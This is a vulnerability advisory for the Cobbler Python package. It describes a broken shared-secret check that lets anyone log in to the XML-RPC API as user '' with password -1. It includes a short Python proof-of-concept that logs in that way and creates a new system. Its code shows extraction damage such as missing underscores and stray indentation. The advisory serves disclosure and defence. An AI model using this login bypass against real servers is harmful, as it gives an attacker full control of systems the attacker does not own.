PT-2026-53408 — Pypi Cobbler

PT-2026-53408 · Pypi · Cobbler

Publicado

2026-06-29

Atualizado

2026-06-29

CVSS v3.1

9.8

Crítica

Vetor

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

utils.get shared secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

Details

utils.py get shared secret:

def get shared secret() -> Union[str, int]:
  """
  The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
  between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
  For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

  :return: The Cobbler secret which enables full access to Cobbler.
  """

  try:
    with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
      data = fd.read()
  except:
    return -1
  return str(data).strip()

Always returns -1 because of the following exception:

binary mode doesn't take an encoding argument

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

PoC

#!/usr/bin/python3

import ssl
 import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl context = ssl. create unverified context()
 
url = '{proto}://{host}:{port}/cobbler api'.format(**params)
if ssl context:
  conn = xmlrpc.client.ServerProxy(url, context=ssl context)
else:
  conn = xmlrpc.client.Server(url)

try:
  token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
  print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
 except Exception as e:
  print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system id = conn.new system(token)

Impact

This gives anyone with network access to a cobbler server full control of the server.

Correção

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Identificadores relacionados

PYSEC-2026-316

Produtos afetados

Cobbler